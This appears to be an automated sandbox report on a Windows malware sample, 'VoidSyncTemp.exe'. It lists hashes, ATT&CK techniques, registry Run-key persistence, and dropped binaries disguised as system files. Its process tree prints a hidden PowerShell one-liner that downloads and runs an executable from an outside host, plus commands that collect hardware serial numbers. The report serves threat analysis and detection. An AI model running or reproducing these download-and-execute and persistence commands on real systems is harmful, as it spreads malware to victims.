27d9c2006a4d4ee93ad82c9f4ccb5aec375f990a5192a1b8c517330c0f644fc5

Analysis

user interaction
yes
max time kernel
150s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 00:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VoidSyncTemp.exe
Size 2.8MB
Sample260730-a3k79ahe93
SHA256 27d9c2006a4d4ee93ad82c9f4ccb5aec375f990a5192a1b8c517330c0f644fc5
MD5 44526cead5e3910f5dae7113e898930f
SHA1 a2dda18c4cf0baebad76d1661319d34c74a8a205
SHA512 010b5ce803ea18d1f271c5410c5e8f13eed22180ad0404184c45b610d99907c873839f91a7e97d2de1d4257d2dc83834d14d6e7dee86bf99df14a564a607c1c2
SSDEEP 49152:t4TLTJPkEp2UFnQmqPsP857IJh0xJ7J9eI0WywGUyws:ILRkEp+mqPsP857js
TLSH
T1F0D5DF07F7A101BDE1679434CA628307F7317C551B20DB8F33A81A695FA72E06DBAB91
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2548	powershell.exe
15	2548	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2548	powershell.exe
3300	powershell.exe
1568	powershell.exe
2784	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
3236	voidsynctemp.exe
3828	icsys.icn.exe
3084	explorer.exe
2000	spoolsv.exe
3696	svchost.exe
3244	spoolsv.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	VoidSyncTemp.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1124	cmd.exe
4120	cmd.exe
2892	cmd.exe
3548	cmd.exe
5880	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VoidSyncTemp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
2548	powershell.exe
2548	powershell.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3828	icsys.icn.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
3236	voidsynctemp.exe
3084	explorer.exe
3696	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeIncreaseQuotaPrivilege	2784	powershell.exe
Token: SeSecurityPrivilege	2784	powershell.exe
Token: SeTakeOwnershipPrivilege	2784	powershell.exe
Token: SeLoadDriverPrivilege	2784	powershell.exe
Token: SeSystemProfilePrivilege	2784	powershell.exe
Token: SeSystemtimePrivilege	2784	powershell.exe
Token: SeProfSingleProcessPrivilege	2784	powershell.exe
Token: SeIncBasePriorityPrivilege	2784	powershell.exe
Token: SeCreatePagefilePrivilege	2784	powershell.exe
Token: SeBackupPrivilege	2784	powershell.exe
Token: SeRestorePrivilege	2784	powershell.exe
Token: SeShutdownPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeSystemEnvironmentPrivilege	2784	powershell.exe
Token: SeRemoteShutdownPrivilege	2784	powershell.exe
Token: SeUndockPrivilege	2784	powershell.exe
Token: SeManageVolumePrivilege	2784	powershell.exe
Token: 33	2784	powershell.exe
Token: 34	2784	powershell.exe
Token: 35	2784	powershell.exe
Token: 36	2784	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeIncreaseQuotaPrivilege	3300	powershell.exe
Token: SeSecurityPrivilege	3300	powershell.exe
Token: SeTakeOwnershipPrivilege	3300	powershell.exe
Token: SeLoadDriverPrivilege	3300	powershell.exe
Token: SeSystemProfilePrivilege	3300	powershell.exe
Token: SeSystemtimePrivilege	3300	powershell.exe
Token: SeProfSingleProcessPrivilege	3300	powershell.exe
Token: SeIncBasePriorityPrivilege	3300	powershell.exe
Token: SeCreatePagefilePrivilege	3300	powershell.exe
Token: SeBackupPrivilege	3300	powershell.exe
Token: SeRestorePrivilege	3300	powershell.exe
Token: SeShutdownPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeSystemEnvironmentPrivilege	3300	powershell.exe
Token: SeRemoteShutdownPrivilege	3300	powershell.exe
Token: SeUndockPrivilege	3300	powershell.exe
Token: SeManageVolumePrivilege	3300	powershell.exe
Token: 33	3300	powershell.exe
Token: 34	3300	powershell.exe
Token: 35	3300	powershell.exe
Token: 36	3300	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeIncreaseQuotaPrivilege	1568	powershell.exe
Token: SeSecurityPrivilege	1568	powershell.exe
Token: SeTakeOwnershipPrivilege	1568	powershell.exe
Token: SeLoadDriverPrivilege	1568	powershell.exe
Token: SeSystemProfilePrivilege	1568	powershell.exe
Token: SeSystemtimePrivilege	1568	powershell.exe
Token: SeProfSingleProcessPrivilege	1568	powershell.exe
Token: SeIncBasePriorityPrivilege	1568	powershell.exe
Token: SeCreatePagefilePrivilege	1568	powershell.exe
Token: SeBackupPrivilege	1568	powershell.exe
Token: SeRestorePrivilege	1568	powershell.exe
Token: SeShutdownPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeSystemEnvironmentPrivilege	1568	powershell.exe
Token: SeRemoteShutdownPrivilege	1568	powershell.exe
Token: SeUndockPrivilege	1568	powershell.exe
Token: SeManageVolumePrivilege	1568	powershell.exe
Token: 33	1568	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
6084	VoidSyncTemp.exe
6084	VoidSyncTemp.exe
3828	icsys.icn.exe
3828	icsys.icn.exe
3084	explorer.exe
3084	explorer.exe
2000	spoolsv.exe
2000	spoolsv.exe
3696	svchost.exe
3696	svchost.exe
3244	spoolsv.exe
3244	spoolsv.exe
3236	voidsynctemp.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 6084 wrote to memory of 3236	6084	VoidSyncTemp.exe	88
PID 3236 wrote to memory of 1124	3236	voidsynctemp.exe	89
PID 1124 wrote to memory of 4120	1124	cmd.exe	91
PID 3236 wrote to memory of 2892	3236	voidsynctemp.exe	93
PID 6084 wrote to memory of 3828	6084	VoidSyncTemp.exe	95
PID 4120 wrote to memory of 2548	4120	cmd.exe	96
PID 2892 wrote to memory of 2784	2892	cmd.exe	97
PID 3828 wrote to memory of 3084	3828	icsys.icn.exe	98
PID 3084 wrote to memory of 2000	3084	explorer.exe	99
PID 2000 wrote to memory of 3696	2000	spoolsv.exe	100
PID 3696 wrote to memory of 3244	3696	svchost.exe	101
PID 3236 wrote to memory of 3548	3236	voidsynctemp.exe	103
PID 3548 wrote to memory of 3300	3548	cmd.exe	105
PID 3236 wrote to memory of 5880	3236	voidsynctemp.exe	108
PID 5880 wrote to memory of 1568	5880	cmd.exe	110

C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe
"C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6084
- \??\c:\users\admin\appdata\local\temp\voidsynctemp.exe
  c:\users\admin\appdata\local\temp\voidsynctemp.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1124
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2548
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2784
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:3300
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1568
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3828
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visibility of hidden/system files in Explorer
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3084
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2000
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visibility of hidden/system files in Explorer
        Executes dropped EXE
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3696
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
MD5 dc6571b4e39d13392bb7f996d9a95ef5
SHA1 a1838cd4f6a2a1ff743489171ba9f83c662362c7
SHA512 5e2582268c12399a5b29751932d896eb47931478bbafa197faf15d26470a589e1892887a85e7061e431ad8163259ee00682e34c167e9ca204ffd33c888a35f63
TLSH
T199219833F3DC8214CC99003A10DDAC1036B6C7CB40DECF9B6B85E159A82F298DF60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 759cc43ee78ef5aabbc4bb29ff24b2737cca919d3110f9db046b0601a353d3c4
MD5 18e7ab5cf4a0cc2bededabfc2c0c9367
SHA1 bf4f8ef5c86001efb913133abc44351cddf03e87
SHA512 8184da452f84cf5f59973a50b64229bdc2f261a4b56775f29cdbfadf332ce81156417a8ce0b863166a7ef4f6b1a42ea489e7cf904ae46ef3742649a0174e24b6
TLSH
T139219837F3DD8214CCA9003A10DDAC1036B6C7CB40DECF9B6B81E259A82F298DF61060
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
MD5 8e8def21d8a45f4186ed39e4cd51780b
SHA1 478eecc4a4839a61f49d36aaac489fb03a902a76
SHA512 78953e7a08cc12b6323f9d053fa308b74c8497d1f747494a492d705ea4091895f77b9c4589766a1aa4ba39e7879c8b70bf4d95904d48282054237363dacd5418
TLSH
T14E218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F299DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qfcuhp5b.qur.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfcuhp5b.qur.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

voidsynctemp.exe

Path C:\Users\Admin\AppData\Local\Temp\voidsynctemp.exe
Size 2.7MB
SHA256 c58dc269d7e6a3324c4c5998dcee30701514ce2b2b1bed812a974a914c82d4c2
MD5 73c4e72aaddd36e19b98d7bcf91e5df7
SHA1 b57280b3849376e1f36660efb163b80a63f55163
SHA512 0d83e495c1d5ec3b977251e9a6970fc05a4efb13fc0126448896ffa26b94752c2b827ea6baa2db3a6a7f74fdd940b64a703e1df28ed34a1d41b53dfac7b70954
SSDEEP 49152:DTLTJPkEp2UFnQmqPsP857IJh0xJ7J9eI0WywGUyw:fLRkEp+mqPsP857j
TLSH
T1DBD5CF07F3A541ECE167A538CA629346F3717C551B20C78F33A80A695FA72F05DBAB90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

explorer.exe

Path C:\Windows\Resources\Themes\explorer.exe
Size 135KB
SHA256 28597440e405629aa18c2a00c8d298712a3969f2b4711e38d095ceb46aa6dd9a
MD5 366c440e20736ad11b4e3571d4b84ee2
SHA1 bae2d99faa131591ccd949054742eb0801d9cf78
SHA512 5adea8300686be465f2bbaa16e6760d7f354341e03d2602120f8d78f613f9a883faec1cbf717ab6577cffbcffa2ee78c794275cfc1725de466cba519494f2334
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpal2:UVqoCl/YgjxEufVU0TbTyDDalQl2
TLSH
T1BBD3E727AE154C7AD82285F12CA5DBA9B9624E3B1BE4AC173297F70035B660771F430F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icsys.icn.exe

Path C:\Windows\Resources\Themes\icsys.icn.exe
Size 135KB
SHA256 795ba21ace8bad935fa9b040269fe8bc8b014c9bd933d2549dba480520cfc378
MD5 9fe39e2b7a3860afa9919b82962d432a
SHA1 977c3f17c3f430b4b45a0560252d3507f34f931d
SHA512 c116fec2113fbe333d701073ce6df3c9bdfb164ffcd06b16fd7202578a250703d24875e228acd7d3cacea69b9a53b7d2de1512dd81d0f9c6e696a6fc58d55af2
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpalZhhhhhhhhh1:UVqoCl/YgjxEufVU0TbTyDDalQl9
TLSH
T1DFD3F8237E515C3ED816C9F168A5DA2ABA122E3A1BF4AE076756FB00367190375F130F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spoolsv.exe

Path C:\Windows\Resources\spoolsv.exe
Size 135KB
SHA256 3d263bc5cdf1c5d2efc00bce540c7dac94129747f918bc2dd6eefe6f08e550ec
MD5 7c5b4edabd2ffa982492c70ccbc5f33e
SHA1 adc20cb3211bc8ffe7cbf0dd56279ca29f4da2b1
SHA512 f688216bdc5ab4fd01578ee71ee7a6097c145a4d01071bfcbf9b45c9ccc5828de35b7325bace852a1162033e6413f429227537d0cc6d0a6a3496d51c7d7a668b
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpale:UVqoCl/YgjxEufVU0TbTyDDalQle
TLSH
T1F4D3E7237E601C7BC812C9F168A5CA6EB9256E3D1BD06D073297BB1129B160776F630F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path \??\c:\windows\resources\svchost.exe
Size 135KB
SHA256 c1c562efdac12b7513e8443da79d7a801aed4a0d424884ba9a2b816320ab6e08
MD5 1c1f58a1bc347dd3e9f3cc96c5c4f13e
SHA1 bc4d41631bb7b16e24a301db74de7f0b32ecfc47
SHA512 ebb37cbe3721f79d4fab4c7c0bbefade34eed03ee67c4f43978b605335b28e99f1341a7c53007ea55f0d87d8bfe3cf519dadddcb34c273c4e5f4c188a940e0ca
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpalpEEEEEEEEE5:UVqoCl/YgjxEufVU0TbTyDDalQlm
TLSH
T110D31923EE109C7EE912C8F228A5D62BB9161F3507D17D4731AABB052A7264739F431F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2000-55-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/2548-20-0x000002C4B15F0000-0x000002C4B1612000-memory.dmp

Download

memory/2784-61-0x000001DA57E30000-0x000001DA57EE2000-memory.dmp

Download

memory/2784-60-0x000001DA57BA0000-0x000001DA57BBE000-memory.dmp

Download

memory/2784-62-0x000001DA57B90000-0x000001DA57B9A000-memory.dmp

Download

memory/2784-64-0x000001DA57BF0000-0x000001DA57C14000-memory.dmp

Download

memory/2784-63-0x000001DA57BF0000-0x000001DA57C1A000-memory.dmp

Download

memory/3084-88-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/3236-10-0x0000000140000000-0x00000001402AE000-memory.dmp

Download

memory/3236-78-0x0000000140000000-0x00000001402AE000-memory.dmp

Download

memory/3244-54-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/3696-89-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/3828-56-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/6084-0-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/6084-57-0x0000000000400000-0x000000000041F000-memory.dmp

Download